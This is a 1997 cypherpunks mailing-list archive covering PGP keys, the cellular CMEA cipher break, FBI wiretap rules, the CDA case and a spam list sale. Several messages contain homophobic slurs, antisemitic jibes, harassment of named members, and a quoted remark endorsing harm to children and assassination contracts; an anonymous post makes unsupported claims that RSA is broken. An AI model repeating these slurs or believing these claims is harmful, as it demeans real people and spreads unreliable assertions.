on these important issues, in their own sick, twisted, misguided way.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From lucifer at dhp.com  Wed Mar 19 21:26:01 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 19 Mar 1997 21:26:01 -0800 (PST)
Subject: WebWorld 3-4
Message-ID: <199703200525.AAA17583@dhp.com>


William Ono wrote:
> 
> Toto, you're being careless again.

  Moi?







From dthorn at gte.net  Wed Mar 19 21:33:06 1997
From: dthorn at gte.net (Dale Thorn)
Date: Wed, 19 Mar 1997 21:33:06 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <FiLT4D1w165w@bwalk.dm.com>
Message-ID: <3330CBBC.3951@gte.net>


Dr.Dimitri Vulis KOTM wrote:
> That's a tough one, Dale. On one hand, if the kid is born to psychotic
> parents (or just stupid parents) and the trait is inherited, then it's
> better for the species as a whole if they mistreat the kid and possibly
> kill him. On the other hand the mistreatment may be due to the parent's
> environment and not be an inherited trait - that it's not the kid's fault,
> just bad luck.
> or, u.s. parents
> who indoctrinate their children with fables about "god"). Perhaps Jim Bell's
> assassination politics is the answer - you can abuse your children by commisis
> (circumcizing an infant, lying to them about "god" and Santa Claus) or omission
> (denying medical care or education) but you're running the risk of the kids
> growing up and taking out a contract on you. Cool.

Good points all.  I'd add that since society and standards are
evolving, and the state's negative influences are gaining along
with the positive ones, a goal of keeping the state at bay is a
good one to pursue.  One issue that concerns me, though, is the
kids' access to their own redresses. There was the kid who "divorced"
his parents, and probably other examples where kids have brought
third parties (other than government) between them and their parents.

I think this sort of thing has merit in some cases, but would likely
be exploited by Hillary types for bad.  If kids can (or will) have
more access to grievance-intermediaries, how can that be controlled,
just enough so it doesn't get out of hand (or has letting the genie
out of the bottle already lost the case for future parents)?






From rah at shipwright.com  Wed Mar 19 23:19:19 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 19 Mar 1997 23:19:19 -0800 (PST)
Subject: key revocation
Message-ID: <v03020921af5693c8f4d2@[204.179.136.178]>


-----BEGIN PGP SIGNED MESSAGE-----

I'm revoking my old key, and creating a new, bigger one. 

Yes, there's a story behind it, and it's a dumb one, and I'll tell it later.

Cheers,
Bob Hettinga

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

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24hpbbbWeQVKA3ec2y7R1f4W88ny+sLD3byV5vywgpzw8SzjSYbvCQ==
=EPeQ
- -----END PGP PUBLIC KEY BLOCK-----

- -----BEGIN PGP PUBLIC KEY BLOCK-----
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mQEPAzMwdgMAAAEIALXtk50b0KQWz0RiTBOa25SbWk8cCR6WtafoH3QHwbajqTMI
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=5U1v
- -----END PGP PUBLIC KEY BLOCK-----


-----BEGIN PGP SIGNATURE-----
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=qhZ5
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From toto at sk.sympatico.ca  Wed Mar 19 23:39:03 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 19 Mar 1997 23:39:03 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <88CE23A0B727D0118BB000805FD47524010C2001@RED-81-MSG.dns.microsoft.com>
Message-ID: <3330E966.3028@sk.sympatico.ca>


Blanc Weber wrote:

> Technology is a display of the heights of human creativity and
> inventiveness.  The end-users are often a display of the depths, and a
> presentation of the fact that even though endowed with intelligence and
> inalienable rights, an  individual must participate in the process of
> their own existence, investing personal effort into determining its
> quality or else suffering the consequences of mental stagnation and &
> psychological degeneracy.

"an  individual must participate in the process of their own existence"

  You have perceptively pinpointed the major downfall of TV as a medium
which has a potential capacity to expand the horizons of those whose
lives it influences.
  The fact that it indeed takes little "personal effort" to
'participate'
in the flow of information coming from the medium leaves the viewer open
to external manipulation of what they come to see as 'their' thoughts,
'their' emotions, and 'their' views.
  Once government experienced the 'runaway train' of Vietnam
war-coverage,
which exposed the true power of free access to information being a nadir
point of vulnerability to the powers-that-be, then they adjusted their
approach to media/information accordingly. Operation Desert Storm is a
prime example of this. They now herd broadcast media into their pens
and count on them to bring the rest of the populace into the fold.

  The ascencion of WebTV, or whatever form the new interactive media
takes, will remain a battleground for both government and corporate
interests, with individuals and various groups/factions of individuals
struggling to force the main players into maintaining some form of
options for those who genuinely wish to preserve their privacy and
freedom, including freedom from being spoon-fed their reality by
the major-players.
  If the future InterNet/WWW/TV configuration is allowed to become
nothing more than another pawn in the designs of the rich and 
powerful, then the best that mankind, as a whole, can hope for, is
to become 'interactive sheep'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From real at freenet.edmonton.ab.ca  Wed Mar 19 23:42:08 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 19 Mar 1997 23:42:08 -0800 (PST)
Subject: Secure checksums
In-Reply-To: <199703160723.CAA22778@dhp.com>
Message-ID: <Pine.A41.3.95.970320003942.40812A-100000@freenet.edmonton.ab.ca>


On Sun, 16 Mar 1997, lucifer Anonymous Remailer wrote:

Pill time Vulis.

> There's a rumor that Tim May sells his dead relatives as 
> fertilizer as they constitute the best shit in California.
> 
>            \|||///
>             ~|||//
>        ____ .)  // Tim May
>       (____    @ /
>            \    \
>             ) /\ \
>             \/ (_
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From aga at dhp.com  Thu Mar 20 01:20:29 1997
From: aga at dhp.com (aga)
Date: Thu, 20 Mar 1997 01:20:29 -0800 (PST)
Subject: Cocksucker John Gilmore attempts to rewrite history again
In-Reply-To: <B0Fu4D28w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970320041843.25017D-100000@dhp.com>


This cocksucker John Gilmore is gettign to be a BIG pain in the ass!

Now just why is it that most ALL problem peoiple like this are QUEER?

On Wed, 19 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 19 Mar 97 21:47:10 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv at bwalk.dm.com>
> Reply-To: freedom-knights at jetcafe.org
> To: cypherpunks at toad.com, freedom-knights at jetcafe.org
> Cc: sethf at athena.mit.edu
> Subject: Cocksucker John Gilmore attempts to rewrite history again
> 
> I've been reading a thread in the Usenet newsgroups alt.cypherpunks and
> comp.org.eff.talk. EFF, you may recall, is Cocksucker John Gilmore's setup,
> and a pair of Gilmore/EFF's stooges - llurch at quixote.stanford.edu (Rich
> Graves <rcgraves at disposable.com>) and sethf at athena.mit.edu (Seth
> Finkelstein) - have been posting lies in an effort to rewrite the recent
> events which have totally destroyed Cocksucker's reputation on the net.
> 
> Rich Graves wrote in article <5gl63i$4eu at quixote.stanford.edu>:
> 
> >comparing me to Vulis doesn't work, I don't think. He'd have
> >mailbombed the list subscribers at the drop of a hat; and in
> >the case of cypherpunks, he and GruBoursy did, to such an
> >extent that the list had to move from toad.com to cyberpass.net.
> >I'm sure I've disappointed some people by doing nothing of the
> >kind. Doesn't stop Seth from saying I'm obsessed, of course.
> 
> This is a lie. I haven't mailbombed cypherpunks. The list moved from
> toad.com to multiple sites because the readers no longer trusted Gilmore to
> host the list. In article <5gkfag$36o at quixote.stanford.edu> he also wrote:
> 
> >>In any case, I personally would not ever absolutely reject posts
> >>arbitrarily from someone if I was moderating a list, even if 99.9% of
> >>their posts were absolute junk.  (I've been in such situations---try
> >>moderating an biological evolution newsgroup and fend of all the
> >>creationists.)
> >
> >You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
> >
> >http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
> >
> >|Timmy May has tons of dandruff (and dried up semen) in his beard.
> >|Is he Jewish???
> >|
> >|---
> >|
> >|Dr.Dimitri Vulis KOTM
> >|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> Rich is lying...
> 
> >Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
> >and with the stated intention of disrupting the list. That's called a
> >denial of service attack.
> 
> More lies. I haven't posted megabytes of Serdar Argic materials, and I have
> repeatedly stated that it is NOT my intention to disrupt the mailing list.
> 
> >While the cypherpunks move from toad.com to cyberpass.net was far from
> >ideal, it worked reasonably well because the list was aware of what was
> >happening.
> 
> Is that why John Gilmore is sending his minions to post lies and to
> confuse the readers about what was happening?
> 
> In response, sethf at athena.mit.edu (Seth Finkelstein) further wrote
> in article <5gmnuj$1ha at senator-bedfellow.MIT.EDU>:
> 
> >>>In any case, I personally would not ever absolutely reject posts
> >>>arbitrarily from someone if I was moderating a list, even if 99.9% of
> >>>their posts were absolute junk.  (I've been in such situations---try
> >
> >	Yes, Ram, I know you'd likely handle such a situation differently.
> >But as I keep saying, on a human level, I just can't work up any
> >criticism for Declan for not wanting to deal in any way shape or
> >form with a person who so frequently mudslings and smears him so much.
> 
> Again, this is not true. I disagree with many of the things Declan says, but
> I'm not smearing him and not slinging mud at him. I'm also not aware of
> having being banned from any forum Declan moderates, whatever that is.
> 
> Seth further has the audacity to praise John Gilmore for showing the
> "patience of a saint":
> 
> >	It wasn't up to Vulis level, absolutely. But I think taking
> >the junk from Vulis showed the patience of a saint.
> 
> This is actually very funny.
> 






From toto at sk.sympatico.ca  Thu Mar 20 01:50:59 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 20 Mar 1997 01:50:59 -0800 (PST)
Subject: (fwd) CarlMStarrsimulationExperiment
In-Reply-To: <199703160038.SAA17546@galaxy.galstar.com>
Message-ID: <33310693.329C@sk.sympatico.ca>


Igor Chudov wrote:
 
> KIBO RULES!!! CLONING MADE EASY!!!

Igor,
  If we merge your experiments with those of the sheep cloner, then I
think we could start a 1-900-number HotLine for lonely ranchers, as 
well as an pay-per-minute IRC forum with pointers to graphic animal-sex
pictures and the Rubber Boot Home Shopping Network.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From bubba at dev.null  Thu Mar 20 01:52:45 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Thu, 20 Mar 1997 01:52:45 -0800 (PST)
Subject: WebWorld 5-6
Message-ID: <33310879.3A4@dev.null>

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From lucifer at dhp.com  Thu Mar 20 03:02:52 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Mar 1997 03:02:52 -0800 (PST)
Subject: PGP Security
Message-ID: <199703201102.GAA30790@dhp.com>


  I am passing along the following message, not because of my belief in
the accuracy or veracity of its contents, but merely because of the 
fact that it seems to have kept getting eaten up by various email
systems in the attempts to send it to its original destination.
  The first time it was sent via a remailer, it was bounced for ill-
defined reasons. The second time it was sent, the remailer was shut
down, and remains shut down.
  Efforts to send it through a second remailer also failed, with no
notice from the server of any problems being received. Other email
sent through the remailer at the same time encountered no difficulties.
  I am only noting the facts, here, not proferring any personal judge-
ments on the matter, although I have formed my own opinion as to the
meaning of these facts, particularly since I, myself, came by this 
post during the process of email interception.

> X-Anon-Password: XXXXXXXXXX
> X-Anon-To: XXXXXXXXXXX
> X-Anon-Name: XXXXXXXXXXXX

XXXXXXXXX,
 I thought I would reply privately to you, since you seem to
at least have a willingness to allow the possibility of compromises
to the security of the encryption methodologies behind PGP programs,
among others.

  To begin with, I'm not sure whether you realize it, or not, but the
Navy's spook tenacles run deeper, and extend further, than those of any
of the more notable or visibly involved agencies who lurk in the
background of security and privacy issues.
  One of the reasons for this is that their physical existence could be
said to mirror the Internet in many respects. The very nature of their
'global' home (the sea), has always permitted them access to people and
regions which are denied to others. Also, they are often in the position
to be involved in what looks to be merely the 'transporting' of people
and information.
  Whether providing escort services or getting drunk in foreign bars,
the expertise of naval intelligence has always lain in the area of
observation, first and foremost.

  By far the greatest tool of intelligence agencies on the Internet,
has been traffic analysis. Their techniques are sufficiently sophist-
icated that I would not be surprised to find out that they can tell
more about us from our Internet activity than can be learned from the
satellites capable of reading the newspaper over our shoulder as we
sit in the park.
  Traffic analysis involves all measurable quantum of information, the
chief concerns being the patterns and timing of data transfer, from
which everything ranging from content and motivation can be deduced.

  If you wish to think in terms of back-doors, then you would be well
advised to go beyond the concepts of 'passwords' and 'holes' and try
to think in terms of patterns and timing, and other such 'structures'
which are peripheral to concerns regarding 'code' and 'mathematics.'
  i.e. As well as considering the 'content' of what a program returned,
you must also consider 'when' the program returned the result, and
the patterns in the timing, as well as the content.
  An analogy could be made to a person who, being interrogated, answers
all questions with a predictable rhythm and then 'pauses,' however
slightly, in answering a certain question. You can see that what is
revealed by the 'content' of the answer can be greatly insignificant
compared to what is revealed by the 'delay' in answering.

  To expand your concept of 'back-doors' and 'holes,' you have to ask
questions such as:
  "Does it take a program or hardware longer to return a result of '0',
than to return a result of '1'?"
  "What factors can be introduced into the hardware and/or software
that can influence the patterns and/or timing of various processes
and the results they return?"
  "Can key searches be made more efficient by analyzing such things
as rhythm, syntax, etc? What 'details' or 'qualities' of an individual,
group, or 'arena of concern' can be analyzed for the purpose of being
able to group them into structures which can be searched for?"
  "How can 'assigning' a value to certain sequences of numbers be used
as a pattern to 'filter' the input data into a form which is easier to
analyze?"

  You are aware of 'tricks and techniques' that apply to mathematics
and are widely known.
  i.e. The process of shifting and adding numbers when multiplying by
the number '11'.
  However, what about those quantum of information which are of no
consequence to those seeking for the 'final result' of that multi-
plication? Can the peripheral effects of mathematic calculations
be used to analyze what has taken place, to narrow the scope of
inquiry?
  My nephew describes numbers as getting 'wider' as they get larger,
and he does quick checks of his result through his 'feel' for how
much 'wider' a number should be when he is done, even in complicated
equations which he ill-understands.
  (He reminds me of Steven Wright, who claims that someone told him
that his socks didn't match, and he replied, "Sure, they do. I go
by thickness.")

  I am currently working on a project which involves merging chaos
theory with traffic analysis and other processes to analyze the
effects that algorithms display when processed through the filters
of varying hardware and software structures and methodologies.
  The RSA algorithm and accompanying RSAREF subroutines were our
first focus, for the very reason that there were certain factions
behind the scenes of the Zimmerman/RSA agreement who seemed to
have an inordinate amount of interest in the subroutines being
chained to the algorithm (for reasons that have nothing to do
with patent protection).

  Those whose expertise goes far beyond my own in this area look at
the initial results of the analysis as confirming that their is a
'relationship' between the RSA algorithm and the RSAREF subroutines
which will enable them to break the system down into workable
units for fairly quick analysis.
  What is interesting is that the results from small probes into
other encryption systems show the same potential for exploitation
using varying analysis methodologies and processes.
  (One fairly well-known encryption routine is almost lame enough
to reveal its secrets to anyone with a pencil and a stopwatch, as
well as the file size and time it takes to encrypt.)

  While I would rather you didn't publicize the preceding information,
as a general rule, I think that is something that should be shared with
anyone who is seriously focusing their efforts on better methods of
encryption and analysis of encryption methodologies.
  I am aware of two other groups who are working along the same lines,
although with a narrower range of variables than ourselves, and I am
certain that there must be more than a few other entities out there
who are also pursuing this line of research.

  I would appreciate any comments you may have on the above, as well as
any suggestions you may have. (Despite having a post-graduate degree
in an area which required a thorough grounding in mathematics I may
have to refer any highly technical suggestions to those in the group
who dream in numbers, sunset to sunrise.)






From jya at pipeline.com  Thu Mar 20 04:20:04 1997
From: jya at pipeline.com (John Young)
Date: Thu, 20 Mar 1997 04:20:04 -0800 (PST)
Subject: Cell Phone Code Cracked
Message-ID: <1.5.4.32.19970320121221.006edfa4@pop.pipeline.com>


For details of the crack see the cryptographers' press release at: 

   http://www.counterpane.com/cmea.html

The New York Times, March 20, 1997, pp. A1, D2.

Code Set Up to Shield Privacy Of Cellular Calls Is Breached
 
By John Markoff

San Francisco, March 19 -- A team of well-known computer
security experts will announce on Thursday that they have
cracked a key part of the electronic code meant to protect the
privacy of calls made with the new, digital generation of
cellular telephones.

The announcement, intended as a public warning, means that --
despite their greater potential for privacy protection -- the
new cellular telephones, which transmit streams of digital
information in code similar to computer data, may in practice
be little more secure from eavesdropping than the analog
cellular phones, which send voice as electronic patterns
mimicking sound waves, that have been in use the last 15
years.

It was such eavesdropping, for example, that caused trouble
for Newt Gingrich when a Florida couple listened to his
cellular phone conversation in December about the
Congressional ethics inquiry.

Now that digital wireless networks are coming into use around
the nation, the breaking of the digital code by the team of
two computer security consultants and a university researcher
confirms fears about privacy that were raised five years ago
when the communications industry agreed under Government
pressure to adopt a watered-down privacy technology.

Several telecommunications industry officials said the
pressure came from the National Security Agency, which feared
that stronger encryption technology might allow criminals or
terrorists to conspire with impunity by cellular phones.

But independent security experts now say that the code is easy
enough to crack that anyone with sufficient technical skills
could make and sell a monitoring device that would be as easy
to use as a police scanner is.

Such a device would enable a listener to scan hundreds of
wireless channels to listen in randomly on any digital call
within a radius ranging from 1,000 feet to a number of miles.
Or, as with current cellular technology, if a specific person
was the target of an eavesdropper, the device could be
programmed to listen for any nearby digital call to that
person's telephone number.

Other possible transgressions would include using the device
to automatically harvest all calling card or credit-card data
transmitted with nearby digital wireless phones.
And, because of a loophole in the Communications Act of 1934,
making and selling such devices would not be illegal, though
actually using one would technically be against the law.

These monitoring devices are not yet available, but security
experts said that a thriving gray market was certain to
develop. And with technical details of the security system
already circulating on the Internet instructions for cracking
it will almost certainly make their way into the computer
underground, where code breaking and eavesdropping are pursued
for fun and profit.

Technical details of the security system were supposed to be
a closely guarded secret, known only to a tight circle of
industry engineers. But the researchers performed their work
based on technical documents that were leaked from within the
communications industry and disseminated over the Internet
late last year.

"The industry design process is at fault," said David Wagner,
a University of California at Berkeley researcher who was a
member of the team that broke the code. "We can use this as a
lesson, and save ourselves from more serious vulnerabilities
in the future."

Communications industry technical experts, made aware of the
security flaw earlier this year, have been meeting to
determine whether it is too late to improve the system's
privacy protections. Already the digital technology is in use
in metropolitan areas, including New York and Washington,
where either the local cellular networks have been modified to
support digital technology or where new so called wireless
personal communications services are being offered.

"We're already in the process of correcting this flaw," said
Chris Carroll, an engineer at GTE Laboratories, who is
chairman of the industry committee that oversees privacy
standards for cellular phones.

But Greg Rose, a software designer for the Qualcomm Inc. a
leader in digital cellular systems said that fixing the flaw
would be "a nightmare." Tightening the security system, Mr.
Rose said, would involve modifying software already used in
the computerized network switching equipment that routes
wireless digital telephone calls, as well as the software
within individual phones.

Currently, about 45 million Americans have cellular phones,
though most of them so far are based on an older analog
standard that offers no communications privacy. But cellular
companies are gradually converting their networks to the new
digital standard, and the new personal communications services
networks going into operation around the country also employ
the digital encryption system. Nearly a million P.C.S. phones
have been sold in the United States, according to cellular
industry figures.

Besides Mr. Wagner, the other researchers who cracked the code
were Bruce Schneier and John Kelsey of Counterpane Systems, a
Minneapolis consulting firm. Mr. Schneier is the author of a
standard textbook on cryptography.

The new digital wireless security system, which was designed
by cellular telephone industry engineers was never intended to
stop the most determined wiretappers.

But because digital calls are transmitted in a format
corresponding to the one's and zero's of computer language,
they are more difficult to eavesdrop on than conventional
analog calls, which are transmitted in electronic patterns.
And digital calls protected with encryption technology --
basically a mathematical formula in the software that
scrambles the signal -- would be all the harder for a third
party to listen to surreptitiously.

Because the encryption system that the industry adopted in
1992 was deliberately made less secure than many experts had
recommended at the time, privacy rights advocates have been
warning since that the code could be broken too easily. An
announcement Thursday that the code has indeed been cracked
would seem to bear out those concerns.

"This should serve as a wake-up call," said James X. Dempsey,
senior staff counsel for the Center for Democracy and
Technology, a public interest group. "This shows that
Government's effort to control encryption technology is now
hindering the voice communications industry as well as the
data and electronic communication realm."

Industry executives acknowledged that steps must be taken to
address the problem.

"We need strict laws that say it is illegal to manufacture or
to modify a device which is designed to perpetrate the illegal
interception of P.C.S. telephone calls," said Thomas E.
Wheeler, president of the Cellular Telephone Industry
Association, a Washington-based trade group.

Mr. Wheeler said the weaker privacy technology had been
adopted not just to appease the Government but because makers
of wireless communications hardware and software wanted to
embrace a technical standard that would meet export
regulations. Those rules, based on national security
considerations, sharply curtail the potency of American-made
encryption technology.

The three computer researchers who broke the code belong to an
informal group of technologists who believe strongly that
powerful data-scrambling technologies are essential to protect
individual privacy in the information age. These
technologists, who planned to release their findings in a news
release on Thursday, argue that the best way to insure that
the strongest security codes are developed is to conduct the
work in a public forum. And so they are sharply critical of
the current industry standard setting process which has made
a trade secret of the underlying mathematical formulas used to
create the security codes.

"Our work shows clearly why you don't do this behind closed
doors," Mr. Schneier said. "I'm angry at the cell phone
industry because when they changed to the new technology, they
had a chance to protect privacy and they failed."

Mr. Carroll, head of the industry's privacy committee, said it
planned to revise the process for reviewing proposed technical
standards.

[End]








From bubba at dev.null  Thu Mar 20 06:27:58 1997
From: bubba at dev.null (Bubba)
Date: Thu, 20 Mar 1997 06:27:58 -0800 (PST)
Subject: WebWorld 7-8
Message-ID: <33314967.4EAA@dev.null>

A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 8713 bytes
Desc: not available
URL: <https://lists.cpunks.org/pipermail/cypherpunks-legacy/attachments/19970320/17f4b264/attachment.txt>

From real at freenet.edmonton.ab.ca  Thu Mar 20 08:12:19 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 20 Mar 1997 08:12:19 -0800 (PST)
Subject: your mail
In-Reply-To: <199703172040.MAA23689@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970320090914.123976C-100000@fn2.freenet.edmonton.ab.ca>


On Mon, 17 Mar 1997, Mix wrote:

Pill time Vulis.

> Tim Mayflower's family tree goes straight 
> up. All of his ancestors were siblings, to 
> dumb to recognize each other in the dark.
> 
>      o o Tim Mayflower
>       o
>      \_/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From jya at pipeline.com  Thu Mar 20 12:12:38 1997
From: jya at pipeline.com (John Young)
Date: Thu, 20 Mar 1997 12:12:38 -0800 (PST)
Subject: FBI Wiretap Payments
Message-ID: <1.5.4.32.19970320200459.006caec8@pop.pipeline.com>


The FBI has published in the Federal Register today:

Implementation of Section 109 of the Communications Assistance
for Law Enforcement Act

AGENCY: Federal Bureau of Investigation, DOJ.

ACTION: Final rule.

-----------------------------------------------------------------------

SUMMARY: This rule implements section 109 of the Communications
Assistance for Law Enforcement Act (CALEA), which requires the Attorney
General to establish regulations which set forth the procedures that
telecommunications carriers must follow in order to receive
reimbursement under Sections 109 and 104 of CALEA. CALEA requires that
this rule enable carriers to receive payments in a timely and cost-
efficient manner while minimizing the cost to the Federal Government.
Specifically, this rule sets forth the means of determining allowable
costs, reasonable costs, and disallowed costs. Furthermore, it
establishes the requirements carriers must meet in their submission of
cost estimates and requests for payment to the Federal Government for
the disbursement of CALEA funds. In addition, this rule protects the
confidentiality of trade secrets and proprietary information from
unnecessary disclosure. Finally, it sets forth the means for
alternative dispute resolution.

-----

http://jya.com/fbi032097.txt  (177K)






From rah at shipwright.com  Thu Mar 20 12:32:52 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 20 Mar 1997 12:32:52 -0800 (PST)
Subject: U.S Mint Electronic Cash Study
Message-ID: <v03020935af57407245bd@[204.179.136.178]>



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: jmuller at brobeck.com (John D. Muller)
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 20 Mar 1997 08:38:05 -0800
From: jmuller at brobeck.com (John D. Muller)
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Re: U.S Mint Electronic Cash Study

     Federal Reserve Governor Kelley and New York Fed President McDonough
     have both stated that the Fed has no plans to issue electronic money.
     See:  http://www.bog.frb.fed.us/BOARDDOCS/SPEECHES/19960618.htm
           http://www.ny.frb.org/pihome/news/speeches/sp961008.html
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie at webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel at intertrader.com>
Commermeister: Anthony Templer <mailto:anthony at atanda.com>
Interturge: Rodney Thayer <mailto:rodney at sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From rah at shipwright.com  Thu Mar 20 12:33:04 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 20 Mar 1997 12:33:04 -0800 (PST)
Subject: ONK?: SANS Network Security Digest?
Message-ID: <v03020938af57419e8c59@[204.179.136.178]>



--- begin forwarded text


X-Sender: ploshin at pop.tiac.net
Date: Thu, 20 Mar 1997 11:39:22 -0500
To: Robert Hettinga <rah at shipwright.com>
From: Pete Loshin <pete at loshin.com>
Subject: Re: DCSB: Stewart Baker on Clinton Administration Crypto
  Policy and Digital Commerce
Mime-Version: 1.0

Bob, just a quick question, have you heard/seen anything on this:

|            The SANS Network Security Digest                   |
|                 Contributing Editors:                         |
|    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
|   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
----A Resource for Computer and Network Security Professionals---

It's an $80/yr e-mail newsletter; there are a lot of recognizable names
there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
Anyway, anything you know would be appreciated, and if you don't know
anything, could you ask around (e.g., some of the likelier mailing lists
which I no longer subscribe to.)

<snip>

Thanks,
-pl




/-------------------------\
| Pete Loshin             |
| BYTE                    |
| 24 Hartwell Ave         |
| Lexington, MA 02173     |
| vox +1 617/860-6830     |
| fax +1 617/860-6522     |
| pete at loshin.com         |
\-------------------------/

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From stewarts at ix.netcom.com  Thu Mar 20 12:45:09 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 20 Mar 1997 12:45:09 -0800 (PST)
Subject: Report from Supreme Court on CDA arguments
In-Reply-To: <v03007814af562ae68de2@[168.161.105.191]>
Message-ID: <3.0.1.32.19970320124236.0062d868@popd.ix.netcom.com>


One of the main arguments about technology for the good guys is that
the CDA's infringements on free speech are not the least restrictive
means for accomplishing their (claimed) objective - technology gives us
some options today (like censor-filters) - and advances in technology
_strengthen_ the pro-free-speech case, because they provide more alternatives
that are less restrictive than the censorship approach.

At 06:45 PM 3/19/97 -0500, Declan wrote:
>http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html
>     Justice Scalia, who noted that he uses a
>computer, pointed out that technology is rapidly
>changing. "So much of your argument is based on
>what's currently available," he said to Ennis.
>"This technology is changing so quickly. Is it
>possible that this statute is unconstitutional
>now but could be [constitutional] in four or five
>years?" Ennis replied: "Not as it's written."
>
>     During a subsequent press conference, Ennis
>added that indeed, the technology is changing,
>and is giving parents more control over what
>their children do and see online. "Precisely
>because the technology is changing, the
>government should not be trying to enforce this
>law," he said. The ACLU attorneys who joined
>Ennis were grinning: the justices appeared to
>understand the nature of communications online,
>noted that teens have rights, and focused on free
>speech, not porn.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From lile at art.net  Thu Mar 20 12:48:31 1997
From: lile at art.net (Lile Elam)
Date: Thu, 20 Mar 1997 12:48:31 -0800 (PST)
Subject: Isn't this like a bad idea?
Message-ID: <199703202045.MAA16675@art.net>



Hi folks,

Selling email addresses seems to me to be a bad idea. Wouldn't
it be better to have people sign up instead of this? I mean,
it looks like this is for spammers.

Who can I contact about this abuse?

thanks,

-lile

>From mick3 at concentric.net Wed Mar 19 21:18:24 1997
Date: Thu, 20 Mar 1997 00:17:18 -0500 (EST)
Comments: Authenticated sender is <mick3 at pop3.concentric.net>
From: "mick3 at concentric.net" <mick3 at concentric.net>
To: you at concentric.net
Subject: 1 MIO e-mail addresses for sale

Hello, and sorry to bug you...
If you are not a business owner, we apologize.
For Sale:  1 MILLION E-MAIL ADDRESSES FOR $95.00
or 2million for $ 155.00 - or 3 million for $ 195.00
Available on 3.5" disk or e-mail download.
These are fresh lists, no BS...plain ASCI format, one per line.
This is a one time mailing, you will not be contacted again.
Send check or money order to:

YMR - ADDRESS LIST
P.O. Box 654
Marysville, Ca 95901

( please specify, if you want 3.5" disk or have it sent via e-mail as *.zip file)
                        Questions? call Mick at (916) 741-2622

                 TO BE PROMTLY REMOVED, TYPE "REMOVE"



























































































































From adam at homeport.org  Thu Mar 20 12:48:50 1997
From: adam at homeport.org (Adam Shostack)
Date: Thu, 20 Mar 1997 12:48:50 -0800 (PST)
Subject: ONK?: SANS Network Security Digest?
In-Reply-To: <v03020938af57419e8c59@[204.179.136.178]>
Message-ID: <199703202045.PAA14761@homeport.org>


	I see it at a security meeting each month.  Its a good summary
of the last month's advisories, but if you're on bugtraq & BOS, it
won't add new data.

	If you've unsubscribed due to time, its probably worth the
money.

Adam


Robert Hettinga wrote:
| 
| --- begin forwarded text
| 
| 
| X-Sender: ploshin at pop.tiac.net
| Date: Thu, 20 Mar 1997 11:39:22 -0500
| To: Robert Hettinga <rah at shipwright.com>
| From: Pete Loshin <pete at loshin.com>
| Subject: Re: DCSB: Stewart Baker on Clinton Administration Crypto
